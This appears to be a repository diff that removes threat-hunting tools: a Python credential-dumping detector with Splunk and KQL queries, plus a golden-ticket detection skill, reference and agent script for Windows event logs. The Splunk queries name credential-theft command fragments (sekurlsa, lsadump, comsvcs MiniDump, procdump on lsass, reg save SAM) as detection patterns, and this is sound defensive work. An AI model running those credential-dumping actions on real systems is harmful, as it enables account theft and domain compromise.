"89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set",
}
def parse_logs(input_path: str) -> list[dict]:
"""Parse log files in JSON or CSV format."""
events = []
path = Path(input_path)
if path.suffix == ".json":
with open(path, "r", encoding="utf-8") as f:
data = json.load(f)
events = data if isinstance(data, list) else data.get("events", data.get("hits", {}).get("hits", []))
if events and isinstance(events[0], dict) and "_source" in events[0]:
events = [e["_source"] for e in events]
elif path.suffix == ".csv":
with open(path, "r", encoding="utf-8-sig") as f:
reader = csv.DictReader(f)
events = [dict(row) for row in reader]
return events
def normalize_event(event: dict) -> dict:
"""Normalize event field names."""
field_map = {
"source_image": ["SourceImage", "source_image", "InitiatingProcessFileName", "process.executable"],
"target_image": ["TargetImage", "target_image", "FileName", "target.process.executable"],
"granted_access": ["GrantedAccess", "granted_access", "AccessMask"],
"command_line": ["CommandLine", "command_line", "ProcessCommandLine", "process.command_line"],
"user": ["User", "user", "AccountName", "SubjectUserName", "user.name"],
"hostname": ["Computer", "hostname", "DeviceName", "host.name"],
"timestamp": ["UtcTime", "timestamp", "Timestamp", "@timestamp"],
"event_id": ["EventID", "EventCode", "event_id", "event.code"],
"parent_image": ["ParentImage", "parent_image", "InitiatingProcessParentFileName"],
"properties": ["Properties", "properties", "ObjectType"],
}
normalized = {}
for target, sources in field_map.items():
for src in sources:
if src in event and event[src]:
normalized[target] = str(event[src])
break
if target not in normalized:
normalized[target] = ""
return normalized
def detect_lsass_access(event: dict) -> dict | None:
"""Detect suspicious LSASS process access."""
target = event.get("target_image", "").lower()
if "lsass.exe" not in target:
return None
source = event.get("source_image", "").lower()
source_name = source.split("\\")[-1].split("/")[-1]
access = event.get("granted_access", "").lower()
# Skip whitelisted processes
if source_name in LSASS_WHITELIST:
return None
risk_info = SUSPICIOUS_ACCESS_MASKS.get(access, SUSPICIOUS_ACCESS_MASKS.get(access.upper()))
if not risk_info:
risk_info = {"risk": "LOW", "description": f"Unknown access mask: {access}"}
return {
"detection_type": "LSASS_ACCESS",
"technique": "T1003.001",
"source_process": event.get("source_image", ""),
"target_process": event.get("target_image", ""),
"granted_access": access,
"access_description": risk_info["description"],
"risk_level": risk_info["risk"],
"user": event.get("user", "unknown"),
"hostname": event.get("hostname", "unknown"),
"timestamp": event.get("timestamp", "unknown"),
"indicators": [f"LSASS access from {source_name} with mask {access}"],
}
def detect_credential_tool(event: dict) -> dict | None:
"""Detect known credential dumping tool execution."""
cmd = event.get("command_line", "")
if not cmd:
return None
for tool_name, tool_info in CRED_DUMP_TOOL_PATTERNS.items():
for pattern in tool_info["patterns"]:
if re.search(pattern, cmd, re.IGNORECASE):
return {
"detection_type": "CREDENTIAL_TOOL",
"technique": tool_info["technique"],
"tool": tool_name,
"command_line": cmd,
"source_process": event.get("source_image", ""),
"parent_process": event.get("parent_image", ""),
"risk_level": "CRITICAL",
"user": event.get("user", "unknown"),
"hostname": event.get("hostname", "unknown"),
"timestamp": event.get("timestamp", "unknown"),
"indicators": [f"Credential tool detected: {tool_name}", f"Pattern matched: {pattern}"],
}
return None
def detect_dcsync(event: dict) -> dict | None:
"""Detect DCSync activity from non-DC sources."""
props = event.get("properties", "")
for guid, name in DCSYNC_GUIDS.items():
if guid.lower() in props.lower():
return {
"detection_type": "DCSYNC",
"technique": "T1003.006",
"replication_right": name,
"guid": guid,
"risk_level": "CRITICAL",
"user": event.get("user", "unknown"),
"hostname": event.get("hostname", "unknown"),
"timestamp": event.get("timestamp", "unknown"),
"indicators": [f"DCSync activity: {name}", f"GUID: {guid}"],
}
return None
def run_hunt(input_path: str, output_dir: str, dc_list: list[str] | None = None) -> None:
"""Execute credential dumping hunt."""
print(f"[*] Credential Dumping Hunt - {datetime.datetime.now().isoformat()}")
print(f"[*] Input: {input_path}")
events = parse_logs(input_path)
print(f"[*] Loaded {len(events)} events")
findings = []
stats = defaultdict(int)
for raw_event in events:
event = normalize_event(raw_event)
# Check for LSASS access
result = detect_lsass_access(event)
if result:
findings.append(result)
stats["LSASS_ACCESS"] += 1
stats[result["risk_level"]] += 1
# Check for credential dumping tools
result = detect_credential_tool(event)
if result:
findings.append(result)
stats["CREDENTIAL_TOOL"] += 1
stats[result["risk_level"]] += 1
# Check for DCSync
result = detect_dcsync(event)
if result:
if dc_list and result["hostname"].lower() in [dc.lower() for dc in dc_list]:
continue # Skip legitimate DC replication
findings.append(result)
stats["DCSYNC"] += 1
stats[result["risk_level"]] += 1
# Write output
output_path = Path(output_dir)
output_path.mkdir(parents=True, exist_ok=True)
findings_file = output_path / "credential_dump_findings.json"
with open(findings_file, "w", encoding="utf-8") as f:
json.dump({
"hunt_id": f"TH-CRED-DUMP-{datetime.date.today().isoformat()}",
"timestamp": datetime.datetime.now().isoformat(),
"total_events": len(events),
"total_findings": len(findings),
"statistics": dict(stats),
"findings": findings,
}, f, indent=2)
# Write report
report_file = output_path / "hunt_report.md"
with open(report_file, "w", encoding="utf-8") as f:
f.write(f"# Credential Dumping Hunt Report\n\n")
f.write(f"**Date**: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"**Events Analyzed**: {len(events)}\n")
f.write(f"**Findings**: {len(findings)}\n\n")
f.write("## Detection Breakdown\n\n")
for key, count in sorted(stats.items()):
f.write(f"- {key}: {count}\n")
f.write("\n## Critical Findings\n\n")
for finding in sorted(findings, key=lambda x: ("CRITICAL", "HIGH", "MEDIUM", "LOW").index(x["risk_level"])):
if finding["risk_level"] in ("CRITICAL", "HIGH"):
f.write(f"### [{finding['risk_level']}] {finding['detection_type']} - {finding['technique']}\n")
f.write(f"- **Host**: {finding['hostname']}\n")
f.write(f"- **User**: {finding['user']}\n")
f.write(f"- **Indicators**: {', '.join(finding['indicators'])}\n\n")
print(f"[+] Output written to {output_dir}")
print(f"\n{'='*60}")
print(f"FINDINGS: {len(findings)} | CRITICAL: {stats.get('CRITICAL',0)} | HIGH: {stats.get('HIGH',0)}")
print(f"{'='*60}")
def generate_queries(platform: str) -> None:
"""Generate hunting queries for specified platform."""
if platform in ("splunk", "all"):
print("\n=== SPLUNK QUERIES ===\n")
print("--- LSASS Access Detection ---")
print("""index=sysmon EventCode=10 TargetImage="*\\\\lsass.exe"
| where NOT match(SourceImage, "(?i)(csrss|svchost|services|lsass|wininit|MsMpEng)")
| stats count by SourceImage GrantedAccess Computer User
| sort -count""")
print("\n--- Credential Tool Detection ---")
print("""index=sysmon EventCode=1
| where match(CommandLine, "(?i)(sekurlsa|lsadump|comsvcs.*MiniDump|procdump.*lsass|reg save.*SAM)")
| table _time Computer User Image CommandLine ParentImage""")
print("\n--- DCSync Detection ---")
print("""index=wineventlog EventCode=4662
| where match(Properties, "(?i)(1131f6aa|1131f6ad|89e95b76)")
| table _time SubjectUserName SubjectDomainName Computer Properties""")
if platform in ("kql", "all"):
print("\n=== KQL QUERIES ===\n")
print("--- LSASS Access ---")
print("""DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName == "lsass.exe"
| where InitiatingProcessFileName !in~ ("csrss.exe","svchost.exe","MsMpEng.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, AdditionalFields""")
def main():
parser = argparse.ArgumentParser(description="Credential Dumping Detection Hunt")
subparsers = parser.add_subparsers(dest="command")
hunt_parser = subparsers.add_parser("hunt", help="Run credential dumping hunt")
hunt_parser.add_argument("--input", "-i", required=True, help="Log file path")
hunt_parser.add_argument("--output", "-o", default="./cred_dump_output", help="Output directory")
hunt_parser.add_argument("--dc-list", nargs="*", help="List of known DCs to exclude from DCSync alerts")
query_parser = subparsers.add_parser("queries", help="Generate hunting queries")
query_parser.add_argument("--platform", "-p", choices=["splunk", "kql", "all"], default="all")
subparsers.add_parser("signatures", help="List detection signatures")
args = parser.parse_args()
if args.command == "hunt":
run_hunt(args.input, args.output, args.dc_list)
elif args.command == "queries":
generate_queries(args.platform)
elif args.command == "signatures":
print("\n=== Credential Dumping Tool Signatures ===\n")
for tool, info in CRED_DUMP_TOOL_PATTERNS.items():
print(f"{tool:<25} {info['technique']:<25} Patterns: {len(info['patterns'])}")
else:
parser.print_help()
if __name__ == "__main__":
main()
@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -1,41 +0,0 @@
---
name: detecting-golden-ticket-attacks
description: >-
Detect Kerberos golden ticket attacks by analyzing Windows Security event logs for anomalous
TGT usage patterns. Parses Event IDs 4624, 4672, and 4768 from EVTX files to identify tickets
with abnormal lifetimes, domain SID mismatches, and privilege escalation sequences where
non-admin accounts receive admin-level privileges without corresponding group membership changes.
domain: cybersecurity
subdomain: security-operations
tags: [detecting, golden, ticket, attacks]
version: "1.0"
author: mahipal
license: Apache-2.0
---
## Instructions
1. Install dependencies: `pip install python-evtx lxml`
2. Collect Windows Security EVTX logs from domain controllers.
3. Parse Event IDs:
- 4768: Kerberos TGT requests (authentication service requests)
- 4624: Logon events (look for LogonType 3 with NTLM or Kerberos)
- 4672: Special privileges assigned (admin logon indicators)
4. Detect golden ticket indicators:
- TGT with lifetime >10 hours (default max is 10h)
- Event 4672 for accounts not in Domain Admins
- Logon events with no corresponding 4768 TGT request
- Domain SID inconsistencies in ticket data
5. Generate detection report with timeline reconstruction.
```bash
python scripts/agent.py --evtx-file /path/to/Security.evtx --output golden_ticket_report.json
```
## Examples
### Detect Anomalous Privilege Assignment
Event 4672 for a standard user account receiving SeDebugPrivilege, SeTcbPrivilege, or SeBackupPrivilege indicates potential golden ticket usage.
### TGT Without Corresponding AS-REQ
A logon event (4624) with Kerberos authentication but no matching 4768 (TGT request) on the DC suggests a forged TGT.
@@ -1,50 +0,0 @@
# API Reference: Detecting Golden Ticket Attacks
## python-evtx Library
```python
from Evtx.Evtx import FileHeader
with open("Security.evtx", "rb") as f:
fh = FileHeader(f)
for record in fh.records():
xml_string = record.xml()
```
## Key Event IDs
### Event 4768 - Kerberos TGT Request (AS-REQ)
```xml
<Data Name="TargetUserName">admin_user</Data>
<Data Name="TargetDomainName">CORP.LOCAL</Data>
<Data Name="TicketEncryptionType">0x12</Data>
<Data Name="PreAuthType">15</Data>
<Data Name="IpAddress">::ffff:10.0.0.50</Data>
```
### Event 4624 - Logon Event
```xml
<Data Name="TargetUserName">user</Data>
<Data Name="LogonType">3</Data>
<Data Name="AuthenticationPackageName">Kerberos</Data>
<Data Name="IpAddress">10.0.0.50</Data>
<Data Name="WorkstationName">WKS01</Data>
```
### Event 4672 - Special Privileges Assigned
```xml
<Data Name="SubjectUserName">user</Data>
<Data Name="SubjectDomainName">CORP</Data>
<Data Name="PrivilegeList">SeDebugPrivilege SeTcbPrivilege</Data>
```
## Golden Ticket Detection Indicators
| Indicator | Evidence |
|-----------|----------|
| Orphan logon | 4624 Kerberos logon with no 4768 TGT request |
| Privilege anomaly | 4672 admin privs for non-admin account |
| Abnormal TGT lifetime | TGT valid >10 hours (default max) |
| RC4 TGT majority | >50% of TGTs using 0x17 encryption |
| Domain SID mismatch | TGT domain SID differs from DC |
## MITRE ATT&CK
- T1558.001 - Golden Ticket
- T1550 - Use Alternate Authentication Material
@@ -1,185 +0,0 @@
#!/usr/bin/env python3
"""Golden Ticket Detection Agent - Detects forged Kerberos TGTs via Event 4624/4672/4768 analysis."""
import json
import logging
import argparse
from collections import defaultdict
from datetime import datetime
from Evtx.Evtx import FileHeader
from lxml import etree
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
NS = {"evt": "http://schemas.microsoft.com/win/2004/08/events/event"}
ADMIN_PRIVILEGES = [
"SeDebugPrivilege", "SeTcbPrivilege", "SeBackupPrivilege",
"SeRestorePrivilege", "SeTakeOwnershipPrivilege", "SeLoadDriverPrivilege",
"SeImpersonatePrivilege", "SeAssignPrimaryTokenPrivilege",
]
def parse_event_data(root):
"""Extract EventData fields from an EVTX XML record."""
data = {}
for elem in root.findall(".//evt:EventData/evt:Data", NS):
data[elem.get("Name", "")] = elem.text or ""
time_elem = root.find(".//evt:System/evt:TimeCreated", NS)
data["_timestamp"] = time_elem.get("SystemTime", "") if time_elem is not None else ""
return data
def parse_security_events(evtx_path):
"""Parse Event IDs 4624, 4672, and 4768 from Security EVTX."""
events = {"4624": [], "4672": [], "4768": []}
target_ids = {"4624", "4672", "4768"}
with open(evtx_path, "rb") as f:
fh = FileHeader(f)
for record in fh.records():
try:
xml = record.xml()
root = etree.fromstring(xml.encode("utf-8"))
eid_elem = root.find(".//evt:System/evt:EventID", NS)
if eid_elem is None or eid_elem.text not in target_ids:
continue
data = parse_event_data(root)
events[eid_elem.text].append(data)
except Exception:
continue
for eid, evts in events.items():
logger.info("Parsed %d events for Event ID %s", len(evts), eid)
return events
def detect_orphan_logons(events):
"""Detect Kerberos logons (4624) with no corresponding TGT request (4768)."""
tgt_accounts = {e.get("TargetUserName", "").lower() for e in events["4768"]}
orphan_logons = []
for logon in events["4624"]:
if logon.get("AuthenticationPackageName", "") == "Kerberos":
account = logon.get("TargetUserName", "").lower()
if account and account not in tgt_accounts and not account.endswith("$"):
orphan_logons.append({
"timestamp": logon["_timestamp"],
"account": logon.get("TargetUserName", ""),
"source_ip": logon.get("IpAddress", ""),
"logon_type": logon.get("LogonType", ""),
"workstation": logon.get("WorkstationName", ""),
"indicator": "Kerberos logon without TGT request (possible golden ticket)",
})
logger.info("Found %d orphan Kerberos logons", len(orphan_logons))
return orphan_logons
def detect_anomalous_privileges(events, known_admins=None):
"""Detect non-admin accounts receiving admin privileges (Event 4672)."""
if known_admins is None:
known_admins = set()
anomalous = []
for priv_event in events["4672"]:
account = priv_event.get("SubjectUserName", "")
privileges = priv_event.get("PrivilegeList", "")
if account.lower() not in known_admins and not account.endswith("$"):
admin_privs = [p for p in ADMIN_PRIVILEGES if p in privileges]
if admin_privs:
anomalous.append({
"timestamp": priv_event["_timestamp"],
"account": account,
"domain": priv_event.get("SubjectDomainName", ""),
"admin_privileges": admin_privs,
"indicator": "Non-admin account with admin privileges (golden ticket indicator)",
})
logger.info("Found %d anomalous privilege assignments", len(anomalous))
return anomalous
def detect_abnormal_tgt_patterns(events):
"""Detect TGT requests with abnormal encryption types or patterns."""
account_tgts = defaultdict(list)
for tgt in events["4768"]:
account = tgt.get("TargetUserName", "")
account_tgts[account].append(tgt)
anomalies = []
for account, tgts in account_tgts.items():
if account.endswith("$"):
continue
rc4_tgts = [t for t in tgts if t.get("TicketEncryptionType", "") in ("0x17", "0x18")]
if rc4_tgts and len(rc4_tgts) > len(tgts) * 0.5:
anomalies.append({
"account": account,
"total_tgts": len(tgts),
"rc4_tgts": len(rc4_tgts),
"indicator": "Majority RC4 TGT requests (possible ticket forging)",
})
logger.info("Found %d accounts with abnormal TGT patterns", len(anomalies))
return anomalies
def detect_logon_privilege_correlation(events):
"""Correlate logon events with privilege assignments for timeline analysis."""
priv_accounts = defaultdict(list)
for priv in events["4672"]:
account = priv.get("SubjectUserName", "").lower()
priv_accounts[account].append(priv["_timestamp"])
logon_accounts = defaultdict(list)
for logon in events["4624"]:
account = logon.get("TargetUserName", "").lower()
logon_accounts[account].append({
"timestamp": logon["_timestamp"],
"source_ip": logon.get("IpAddress", ""),
"logon_type": logon.get("LogonType", ""),
})
correlations = []
for account in priv_accounts:
if account in logon_accounts and not account.endswith("$"):
correlations.append({
"account": account,
"privilege_events": len(priv_accounts[account]),
"logon_events": len(logon_accounts[account]),
"source_ips": list({l["source_ip"] for l in logon_accounts[account]}),
})
return correlations
def generate_report(orphan_logons, priv_anomalies, tgt_anomalies, correlations):
"""Generate golden ticket detection report."""
total = len(orphan_logons) + len(priv_anomalies) + len(tgt_anomalies)
severity = "Critical" if orphan_logons and priv_anomalies else "High" if total > 0 else "Low"
report = {
"timestamp": datetime.utcnow().isoformat(),
"severity": severity,
"orphan_kerberos_logons": orphan_logons[:20],
"anomalous_privilege_assignments": priv_anomalies[:20],
"abnormal_tgt_patterns": tgt_anomalies,
"logon_privilege_correlations": correlations[:20],
"total_indicators": total,
}
print(f"GOLDEN TICKET DETECTION: {total} indicators, Severity: {severity}")
return report
def main():
parser = argparse.ArgumentParser(description="Golden Ticket Detection Agent")
parser.add_argument("--evtx-file", required=True, help="Path to Security EVTX file")
parser.add_argument("--known-admins", nargs="*", default=[], help="Known admin account names")
parser.add_argument("--output", default="golden_ticket_report.json")
args = parser.parse_args()
events = parse_security_events(args.evtx_file)
known_admins = {a.lower() for a in args.known_admins}
orphan_logons = detect_orphan_logons(events)
priv_anomalies = detect_anomalous_privileges(events, known_admins)
tgt_anomalies = detect_abnormal_tgt_patterns(events)
correlations = detect_logon_privilege_correlation(events)
report = generate_report(orphan_logons, priv_anomalies, tgt_anomalies, correlations)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()
@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
